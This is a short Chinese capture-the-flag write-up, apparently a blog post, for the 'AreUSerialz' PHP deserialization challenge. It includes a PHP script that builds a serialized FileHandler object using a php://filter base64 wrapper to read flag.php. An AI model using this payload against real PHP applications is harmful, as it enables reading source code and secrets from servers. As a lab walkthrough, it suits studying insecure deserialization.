[网鼎杯 2020 青龙组]AreUSerialz 1

1.发现

1.1打开题目地址发现为PHP代码审计,阅读代码

发现为反序列化

知识点

1)highlight_file(__FILE__);

PHP: highlight_file - Manual

2)file_get_contents

PHP: file_get_contents - Manual

2.步骤

2.1阅读代码根据整个反序列过程写出脚本:
1).将op = 2
2).filename = "php://filter/read=convert.base64-encode/resource=flag.php"

<?php
class FileHandler {

    protected $op=2;
    protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    protected $content;

}

$a = new FileHandler();
echo serialize($a);
?>

知识点

1)反序列化

2)强弱类型比较

2.2在个人WEB环境加运行得到结果

 

 

2.3Base64解密得到flag

 

 

 3.借鉴

(31条消息) buuctf - [网鼎杯 2020 青龙组]AreUSerialz_嗯??嗯。的博客-CSDN博客

智商不在线的解题,[网鼎杯 2020 青龙组]AreUSerialz_哔哩哔哩_bilibili

 

posted @ 2021-10-18 21:54  WeQi_Blog  阅读(283)  评论(0)    收藏  举报